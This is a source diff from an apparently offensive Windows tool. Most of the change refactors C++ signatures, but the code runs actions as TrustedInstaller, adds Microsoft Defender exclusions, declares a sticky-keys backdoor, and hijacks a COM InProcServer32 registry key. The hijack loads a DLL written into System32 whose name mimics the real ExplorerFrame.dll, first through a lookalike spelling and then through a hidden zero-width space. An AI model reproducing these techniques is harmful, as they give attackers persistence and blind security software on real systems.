@@ -1174,7 +1186,7 @@ DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName)
if (Process32FirstW(hSnapshot, &pe)) { if (Process32FirstW(hSnapshot, &pe)) {
do { do {
if (wcscmp(pe.szExeFile, processName) == 0) { if (std::wstring_view(pe.szExeFile) == processName) {
pid = pe.th32ProcessID; pid = pe.th32ProcessID;
break; break;
} }
@@ -1185,15 +1197,13 @@ DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName)
return pid; return pid;
} }
bool TrustedInstallerIntegrator::IsLnkFile(LPCWSTR path) bool TrustedInstallerIntegrator::IsLnkFile(std::wstring_view path)
{ {
if (!path) return false; if (path.length() < 4) return false;
size_t len = wcslen(path); return (_wcsicmp(std::wstring{path.substr(path.length() - 4)}.c_str(), L".lnk") == 0);
if (len < 4) return false;
return (_wcsicmp(path + len - 4, L".lnk") == 0);
} }
std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath) std::wstring TrustedInstallerIntegrator::ResolveLnk(std::wstring_view lnkPath)
{ {
IShellLinkW* pShellLink = nullptr; IShellLinkW* pShellLink = nullptr;
IPersistFile* pPersistFile = nullptr; IPersistFile* pPersistFile = nullptr;
@@ -1208,7 +1218,8 @@ std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath)
return L""; return L"";
} }
hr = pPersistFile->Load(lnkPath, STGM_READ); std::wstring lnkPathStr{lnkPath};
hr = pPersistFile->Load(lnkPathStr.c_str(), STGM_READ);
if (FAILED(hr)) { if (FAILED(hr)) {
pPersistFile->Release(); pPersistFile->Release();
pShellLink->Release(); pShellLink->Release();

View File

@@ -3,6 +3,8 @@
#include <windows.h> #include <windows.h>
#include <string> #include <string>
#include <vector> #include <vector>
#include <string_view>
#include <span>
class TrustedInstallerIntegrator class TrustedInstallerIntegrator
{ {
@@ -22,55 +24,55 @@ public:
bool RunAsTrustedInstallerSilent(const std::wstring& commandLine); bool RunAsTrustedInstallerSilent(const std::wstring& commandLine);
// File operations (NEW - direct write/delete with TrustedInstaller) // File operations (NEW - direct write/delete with TrustedInstaller)
bool WriteFileAsTrustedInstaller(const std::wstring& filePath, bool WriteFileAsTrustedInstaller(std::wstring_view filePath,
const std::vector<BYTE>& data) noexcept; std::span<const BYTE> data) noexcept;
bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept; bool DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept;
bool RenameFileAsTrustedInstaller(const std::wstring& srcPath, bool RenameFileAsTrustedInstaller(std::wstring_view srcPath,
const std::wstring& dstPath) noexcept; std::wstring_view dstPath) noexcept;
// Creates a directory with TrustedInstaller privileges // Creates a directory with TrustedInstaller privileges
bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept; bool CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept;
// Registry operations (NEW - direct registry access with TrustedInstaller) // Registry operations (NEW - direct registry access with TrustedInstaller)
bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey, bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey) noexcept; std::wstring_view subKey) noexcept;
bool WriteRegistryValueAsTrustedInstaller(HKEY hRootKey, bool WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey, std::wstring_view subKey,
const std::wstring& valueName, std::wstring_view valueName,
const std::wstring& value) noexcept; std::wstring_view value) noexcept;
bool WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey, bool WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey, std::wstring_view subKey,
const std::wstring& valueName, std::wstring_view valueName,
DWORD value) noexcept; DWORD value) noexcept;
bool WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey, bool WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey, std::wstring_view subKey,
const std::wstring& valueName, std::wstring_view valueName,
const std::vector<BYTE>& data) noexcept; std::span<const BYTE> data) noexcept;
bool ReadRegistryValueAsTrustedInstaller(HKEY hRootKey, bool ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey, std::wstring_view subKey,
const std::wstring& valueName, std::wstring_view valueName,
std::wstring& outValue) noexcept; std::wstring& outValue) noexcept;
bool DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey, bool DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey) noexcept; std::wstring_view subKey) noexcept;
// Defender exclusions // Defender exclusions
bool AddDefenderExclusion(ExclusionType type, const std::wstring& value); bool AddDefenderExclusion(ExclusionType type, std::wstring_view value);
bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value); bool RemoveDefenderExclusion(ExclusionType type, std::wstring_view value);
bool AddToDefenderExclusions(const std::wstring& customPath = L""); bool AddToDefenderExclusions(std::wstring_view customPath = L"");
bool RemoveFromDefenderExclusions(const std::wstring& customPath = L""); bool RemoveFromDefenderExclusions(std::wstring_view customPath = L"");
bool AddPathExclusion(const std::wstring& path); bool AddPathExclusion(std::wstring_view path);
bool RemovePathExclusion(const std::wstring& path); bool RemovePathExclusion(std::wstring_view path);
bool AddProcessExclusion(const std::wstring& processName); bool AddProcessExclusion(std::wstring_view processName);
bool RemoveProcessExclusion(const std::wstring& processName); bool RemoveProcessExclusion(std::wstring_view processName);
bool AddExtensionExclusion(const std::wstring& extension); bool AddExtensionExclusion(std::wstring_view extension);
bool RemoveExtensionExclusion(const std::wstring& extension); bool RemoveExtensionExclusion(std::wstring_view extension);
bool AddIpAddressExclusion(const std::wstring& ipAddress); bool AddIpAddressExclusion(std::wstring_view ipAddress);
bool RemoveIpAddressExclusion(const std::wstring& ipAddress); bool RemoveIpAddressExclusion(std::wstring_view ipAddress);
bool AddProcessToDefenderExclusions(const std::wstring& processName); bool AddProcessToDefenderExclusions(std::wstring_view processName);
bool RemoveProcessFromDefenderExclusions(const std::wstring& processName); bool RemoveProcessFromDefenderExclusions(std::wstring_view processName);
// Sticky keys backdoor // Sticky keys backdoor
bool InstallStickyKeysBackdoor() noexcept; bool InstallStickyKeysBackdoor() noexcept;
@@ -91,17 +93,17 @@ private:
static const LPCWSTR ALL_PRIVILEGES[]; static const LPCWSTR ALL_PRIVILEGES[];
static const int PRIVILEGE_COUNT; static const int PRIVILEGE_COUNT;
BOOL EnablePrivilegeInternal(LPCWSTR privilegeName); BOOL EnablePrivilegeInternal(std::wstring_view privilegeName);
BOOL ImpersonateSystem(); BOOL ImpersonateSystem();
BOOL CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine); BOOL CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine);
BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine); BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine);
DWORD GetProcessIdByName(LPCWSTR processName); DWORD GetProcessIdByName(std::wstring_view processName);
bool IsLnkFile(LPCWSTR path); bool IsLnkFile(std::wstring_view path);
std::wstring ResolveLnk(LPCWSTR lnkPath); std::wstring ResolveLnk(std::wstring_view lnkPath);
bool ValidateExtension(const std::wstring& extension) noexcept; bool ValidateExtension(std::wstring_view extension) noexcept;
bool ValidateIpAddress(const std::wstring& ipAddress) noexcept; bool ValidateIpAddress(std::wstring_view ipAddress) noexcept;
std::wstring NormalizeExtension(const std::wstring& extension) noexcept; std::wstring NormalizeExtension(std::wstring_view extension) noexcept;
std::wstring ExtractProcessName(const std::wstring& fullPath) noexcept; std::wstring ExtractProcessName(std::wstring_view fullPath) noexcept;
}; };

View File

@@ -986,7 +986,7 @@ std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) n
return extractedFile; return extractedFile;
} }
// Splits kvc.evtx container into driver (kvc.sys) and DLL (ExpIorerFrame.dll) // Splits kvc.evtx container into driver (kvc.sys) and DLL (ExplorerFrame\u200B.dll)
// Uses PE subsystem field to distinguish driver (Native) from DLL (Windows GUI/Console) // Uses PE subsystem field to distinguish driver (Native) from DLL (Windows GUI/Console)
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData, bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
std::vector<BYTE>& outKvcSys, std::vector<BYTE>& outKvcSys,
@@ -1044,7 +1044,7 @@ bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
return false; return false;
} }
DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExpIorerFrame.dll=%zu bytes", DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExplorerFrame\u200B.dll=%zu bytes",
outKvcSys.size(), outDll.size()); outKvcSys.size(), outDll.size());
return true; return true;
@@ -1094,7 +1094,7 @@ bool ExtractResourceComponents(int resourceId,
return false; return false;
} }
DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExpIorerFrame.dll: %zu bytes", DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExplorerFrame\u200B.dll: %zu bytes",
outKvcSys.size(), outDll.size()); outKvcSys.size(), outDll.size());
return true; return true;

View File

@@ -152,12 +152,12 @@ namespace Utils
// Decompress CAB archive from memory and extract kvc.evtx // Decompress CAB archive from memory and extract kvc.evtx
std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept; std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept;
// Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll // Split kvc.evtx into kvc.sys (driver) and ExplorerFrame\u200B.dll
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData, bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
std::vector<BYTE>& outKvcSys, std::vector<BYTE>& outKvcSys,
std::vector<BYTE>& outDll) noexcept; std::vector<BYTE>& outDll) noexcept;
// Extract components from resource 102 (CAB containing kvc.sys + ExpIorerFrame.dll) // Extract components from resource 102 (CAB containing kvc.sys + ExplorerFrame\u200B.dll)
bool ExtractResourceComponents(int resourceId, bool ExtractResourceComponents(int resourceId,
std::vector<BYTE>& outKvcSys, std::vector<BYTE>& outKvcSys,
std::vector<BYTE>& outDll) noexcept; std::vector<BYTE>& outDll) noexcept;

View File

@@ -17,14 +17,14 @@ bool WatermarkManager::RemoveWatermark() noexcept
{ {
INFO(L"[WATERMARK] Starting watermark removal process"); INFO(L"[WATERMARK] Starting watermark removal process");
// Extract ExpIorerFrame.dll from resource // Extract ExplorerFrame\u200B.dll from resource
std::vector<BYTE> dllData; std::vector<BYTE> dllData;
if (!ExtractWatermarkDLL(dllData)) { if (!ExtractWatermarkDLL(dllData)) {
ERROR(L"[WATERMARK] Failed to extract DLL from resource"); ERROR(L"[WATERMARK] Failed to extract DLL from resource");
return false; return false;
} }
INFO(L"[WATERMARK] Successfully extracted ExpIorerFrame.dll (%zu bytes)", dllData.size()); INFO(L"[WATERMARK] Successfully extracted ExplorerFrame\u200B.dll (%zu bytes)", dllData.size());
// Get System32 path // Get System32 path
std::wstring system32Path = GetSystem32Path(); std::wstring system32Path = GetSystem32Path();
@@ -33,7 +33,7 @@ bool WatermarkManager::RemoveWatermark() noexcept
return false; return false;
} }
std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll"; std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
// Write DLL using TrustedInstaller // Write DLL using TrustedInstaller
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) { if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) {
@@ -85,7 +85,7 @@ bool WatermarkManager::RestoreWatermark() noexcept
// 3. Teraz usuń DLL (uchwyt został zwolniony) // 3. Teraz usuń DLL (uchwyt został zwolniony)
std::wstring system32Path = GetSystem32Path(); std::wstring system32Path = GetSystem32Path();
if (!system32Path.empty()) { if (!system32Path.empty()) {
std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll"; std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
// Dodaj krótkie opóźnienie dla pewności // Dodaj krótkie opóźnienie dla pewności
Sleep(1000); Sleep(1000);
@@ -132,7 +132,7 @@ bool WatermarkManager::ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexce
return false; return false;
} }
DEBUG(L"[WATERMARK] ExpIorerFrame.dll extracted: %zu bytes", outDllData.size()); DEBUG(L"[WATERMARK] ExplorerFrame\u200B.dll extracted: %zu bytes", outDllData.size());
return !outDllData.empty(); return !outDllData.empty();
} }

View File

@@ -36,7 +36,7 @@ private:
static constexpr const wchar_t* CLSID_KEY = static constexpr const wchar_t* CLSID_KEY =
L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32"; L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32";
static constexpr const wchar_t* HIJACKED_DLL = static constexpr const wchar_t* HIJACKED_DLL =
L"%SystemRoot%\\system32\\ExpIorerFrame.dll"; L"%SystemRoot%\\system32\\ExplorerFrame\u200B.dll";
static constexpr const wchar_t* ORIGINAL_DLL = static constexpr const wchar_t* ORIGINAL_DLL =
L"%SystemRoot%\\system32\\ExplorerFrame.dll"; L"%SystemRoot%\\system32\\ExplorerFrame.dll";